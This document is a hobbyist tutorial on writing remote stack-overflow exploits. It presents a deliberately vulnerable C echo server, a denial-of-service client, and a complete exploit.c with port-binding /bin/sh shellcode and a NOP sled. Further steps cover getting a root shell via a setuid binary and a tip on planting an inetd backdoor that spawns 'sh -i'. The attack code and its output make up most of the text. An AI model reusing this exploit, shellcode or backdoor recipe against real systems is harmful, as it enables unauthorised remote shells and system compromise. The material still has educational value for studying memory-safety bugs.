How to write remote exploits ( V. 1.1) 1. Introduction Hi welcome to my first english tutorial, and my first tutorial about exploit coding, on the next pages, I want to show you the basics of remote exploits writing. In order to understand the following, I hope that you know "socket programming in C", also ANSI C, and I hope you know how local exploits work. If you haven’t got any idea of these things I want to suggest you to first read other papers or books like…: The C Programming language (Kernighan/Ritchie) Unix Network Programming (Richard Stevens) Good tutorials about exploits you can find on my homepage, i.e. smashing the stack for fun and profit… by aleph1 2. Let’s discover the exercise I hope you’ll enjoy it, ok what are we going to do? We want to exploit a vulnerable server program (vulnerable.c). We want to get a remote shell. In case you are looking for an exercise, read the vulnerable.c program, compile it and try to exploit it. If you don’t have any clue about remote exploits…… well then read further and let us first take a look at the vulnerable program… later we want to look at the functions of the vulnerable program, then how we can abuse an overflow within the program, then we want to define the general structure of the exploit code, and at last we want to write an exploit. -------------------------------------------- vulnerable.c -------------------------------------------- #include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; } s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) { perror("socket() failed"); return 2; } srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons( (unsigned short int) atol(argv[1])); srv.sin_family = AF_INET; if (bind(s, &srv, sizeof(srv)) == -1) { perror("bind() failed"); return 3; } if (listen(s, 3) == -1) { perror("listen() failed"); return 4; } for(;;) { c = accept(s, &cli, &cli_size); if (c == -1) { perror("accept() failed"); return 5; } printf("client from %s", inet_ntoa(cli.sin_addr)); if (handling(c) == -1) fprintf(stderr, "%s: handling() failed", argv[0]); close(c); } return 0; } ---------------------------------------------- EOF ---------------------------------------------- Here’s how you must compile and use the program. user@linux:~/ > gcc vulnerable.c -o vulnerable user@linux:~/ > ./vulnerable 8080 ./vulnerable 8080 this means, that you run the service on port 8080, look at the port you wanna take, you mustn’t use a privileged port (1 – 1024) assuming you are not root. Now we’ve compiled the program and we know how to run it.. with the parameter program Now we want check some addresses of the program, and take a look on how it is built. We start the vulnerable program with gdb, to look at some things… now do the following: user@linux~/ > gdb vulnerable GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux"... (gdb) run 8080 Starting program: /home/user/directory/vulnerable 8080 Now the program is listening for an incoming connection on port 8080. Next connect with telnet or netcat on port 8080. user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. My name is: Robin , nice to meet you! Connection closed by foreign host. user@linux:~/ > Now the easy server program doesn’t make anything else then getting a name and writing it back on your screen…. Ok let’s go further… While you made this, the gdb (debugger) wrote the following on the screen: client from 127.0.0.1 0xbffff28c /* Don’t be confused if the address is different on your computer, on my box it is 0xbffff28c */ Ok the server is still running because of the for-loop, so it’s always repeating until you kill the server program. 3. Overflowing the server program Let's test something.... Now we reconnect to the service on port 8080 and put more than 1024 bytes of characters on the command line "My name is:..." It should look like this... (I'll take A's *g*)... user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA Now the telnet client should be disconnected... but why? Let's look at the output of gdb: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) // Don’t close gdb !! What happened? As we can see, the eip is set to 0x41414141, probably you are asking why? OK, I’ll try to explain it. 0x41 stands for an ‘A’... as we put over 1024 bytes in, the program has tried to copy the string name[2048] into buffer[1024].... so because the string in name[2048] was greater than 1024 bytes, the name buffer has overwritten the buffer and also overwritten the saved eip (extended instruction pointer, here is the returnaddress stored).. so our buffer looks like this: [xxxxxxxx-name-2048-bytes-xxxxxxxxxx] [xxxxx buffer-only-1024-bytes xxx] [EIP] Ok our stack should look like this. We’ve tried to put more than 1024 byte into buffer, and then we’ve overwritten the eip *g*. // don't forget .. eip has a size of 4 bytes ! After you overwrote the whole returnaddress, the function wanted to return to the main function, it jumped to the wrong address (0x41414141) .... and so there was a segmentation fault. Now here's a DoS tool for this program: ------------------------------------- dos.c ------------------------------------- #include #include #include #include #include int main(int argc, char **argv) { struct sockaddr_in addr; struct hostent *host; char buffer[2048]; int s, i; if(argc != 3) { fprintf(stderr, "usage: %s \n", argv[0]); exit(0); } s = socket(AF_INET, SOCK_STREAM, 0); if(s == -1) { perror("socket() failed\n"); exit(0); } host = gethostbyname(argv[1]); if( host == NULL) { herror("gethostbyname() failed"); exit(0); } addr.sin_addr = *(struct in_addr*)host->h_addr; addr.sin_family = AF_INET; addr.sin_port = htons(atol(argv[2])); if(connect(s, &addr, sizeof(addr)) == -1) { perror("couldn't connect so server\n"); exit(0); } /* Not difficult only filling buffer with A’s.... den sending nothing more */ for(i = 0; i < 2048 ; i++) buffer[i] = 'A'; printf("buffer is: %s\n", buffer); printf("buffer filled... now sending buffer\n"); send(s, buffer, strlen(buffer), 0); printf("buffer sent.\n"); close(s); return 0; } --------------------------------------------- EOF --------------------------------------------- 4. Finding the return address I only want to show you how the structure is of an remote exploit looks like, so let's find out what we are going to do: First we open gdb and search for the esp... to find esp you can put in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT.. ok now type this x/200bx $esp-200 in, so you should get an ouput of addresses... It should look like this : (gdb) x/200bx $esp-200 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ---Type to continue, or q to quit--- Ok know we know that we've overwritten the whole buffer, so let's take one of those addresses... I'll show you later why this... (because we want to guess the address), maybe you know the NOP's technique... so it shouldn't be any problem to make our exploit working as well.... or to make our chance bigger to guess the return-address. Attention don’t take the nearest address near the end of the 0x41, take an address which is in the middle, we’ll overwrite it later with NOPs. 5. Structure of the exploit code So we've got a possible return address, let's try to use it... the exploit code should be structured like this: 1. First let's find out the esp.. ok we've got it. (ok we've got an address near the esp, that isn't any problem, because we’ll fill the buffer with NOP's)... then you should find a good shellcode which binds a shell on a port... Don't forget: in remote exploits we can't use local exploit shellcodes.. ok we could, but it isn’t very clever. So we have to find another way to get a shell. What about a portbinder shellcode, which binds a shell on a port ?? Ok in the net are many of these portbinder shellcodes .. i.e. www.hack.co.za or my page *g*. 2. Declaring a buffer which is bigger than 1024 bytes... let's make it 1064 bytes, so there is no problem to overwrite eip.. so don't forget you only have to declare a buffer which is greater than 1024 bytes... 3. Let's prepare the buffer. Now let's first fill the whole buffer with NOP's: memset(buffer, 0x90, 1064); 4. Let's copy the shellcode into the buffer memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); Here we put the shellcode in the middle of the buffer Why? Ok, if we got enough NOPS at the beginnig, our chance is getting better to execute the shellcode 5. Let's terminate the Nullbyte in the buffer buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal 6. Let's copy the returnaddress at the end of the buffer for(i = 1022; i < 1059; i+=4) { ((int *) &buffer[i]) = RET; // RET is the returnaddress we want to use... #define in the header } We know that the buffer ends by 1024 bytes, but to get sure we begin on 1022, then we’re copying the returnaddress until we’ve got 1059 bytes.. that is enough because we've already overwritten the eip (we hope so *g*). 7. Let's add a \0 Nullbyte at the end of our prepared buffer: buffer[1063] = 0x0; Now we've prepared our buffer, now we only need to send it to the vulnerable host.. by port and host or ip. -------------------------------------------- exploit.c -------------------------------------------- /* Simple remote exploit, which binds a shell on port 3789 * by triton * * After return address was overwritten, you can connect * with telnet or netcat to the victim host on Port 3789 * After you logged in... there’s nothing, but try to enter "id;" * (don’t forget the semicolon) * So you should get an output, ok you’ve got a shell *g*. Always use: * * ; * * execute. */ #include #include #include //Portbinding Shellcode char shellcode[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; //standard offset (probably must be modified) #define RET 0xbffff5ec int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; struct hostent *host; if(argc != 3) { printf("Usage: %s target-ip port\n", argv[0]); return -1; } // filling buffer with NOPs memset(buffer, 0x90, 1064); //copying shellcode into buffer memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); // the previous statement causes a unintential Nullbyte at buffer[1000] buffer[1000] = 0x90; // Copying the return address multiple times at the end of the buffer... for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET; } buffer[1063] = 0x0; //getting hostname host=gethostbyname(argv[1]); if (host==NULL) { fprintf(stderr, "Unknown Host %s\n",argv[1]); return -1; } // creating socket... s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { fprintf(stderr, "Error: Socket\n"); return -1; } //state Protocolfamily , then converting the hostname or IP address, and getting port number remote.sin_family = AF_INET; remote.sin_addr = *((struct in_addr *)host->h_addr); remote.sin_port = htons(atoi(argv[2])); // connecting with destination host if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) { close(s); fprintf(stderr, "Error: connect\n"); return -1; } //sending exploit string size = send(s, buffer, sizeof(buffer), 0); if (size==-1) { close(s); fprintf(stderr, "sending data failed\n"); return -1; } // closing socket close(s); } --------------------------------------------- EOF --------------------------------------------- 7. Using the exploit user@linux~/ > gcc exploit.c –o exploit user@linux~/ > ./exploit Now it should work If you got the right return address... or one of the right return addresses. user@linux~/ > telnet 3879 If you’re connected then try to do this: id; uid=500(user) gid=500(user) groups=500(user) As you can see, it works very well. 8. Getting root privileges Do the following: user@linux~/ > su password: ****** root@linux~/ > ls –ln vulnerable -rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable root@linux~/ > chown root vulnerable root@linux~/ > chmod 6755 vulnerable root@linux~/ > ./vulnerable Now you can exploit the server program, and you should get a root shell *g* 9. Enter the service in inetd.conf Ok we’re interested how the program, would work, if it would be a deamon. Now do the following: First copy the vulnerable pogram to /usr/bin/ root@linux~/ > cp vulnerable /usr/bin/vulnerable Now let’s modify some files... root@linux~/ > vi /etc/services (Feel free to use your favourite editor instead of vi) Define a port which you wanna take. I’ll take the port 1526, now let’s enter this informations into /etc/services vulnerable 1526/tcp # defining port for our server program, save and quit Now edit the inetd.conf file root@linux~/ > vi /etc/inetd.conf put in: vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526 Now safe the inetd.conf file and quit. root@linux~/ > killall –HUP inetd Now restart inetd and everything should work.. Note: This is also a good way to make a backdoor, adding a service in /etc/services then, add the things in inetd.conf and right /bin/sh sh –i or sh –h *g*.... 10. Problem solutions If the exploit doesn’t work, please think about the return address, it could be wrong, test it with gdb.... user@linux~/ > gdb vulnerable ..... (gdb) run Now you can exploit the program, if it doesn’t work look at the output of gdb, and try to find out the address, like in Chapter 4. If there any other problems ... read the remarks *g*. 11. Remarks If you find a bug, please mail me, so I can correct the current Version. If you want to criticize my english, I’ll delete your message :-) *nobody’s perfect*, but if you really got problems to understand this, please ask me... But please do not tease me with stupid question, I don’t have the time to answer every question. If you want to put this text on your page, no problem, but please do not change the copyright or other things.... 12. Greets Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"), thanks to triton for the exploitcode (great man, also member of buha-security.de) Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff) and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice) (c) copyright by Robin Walser irc.euirc.net #usad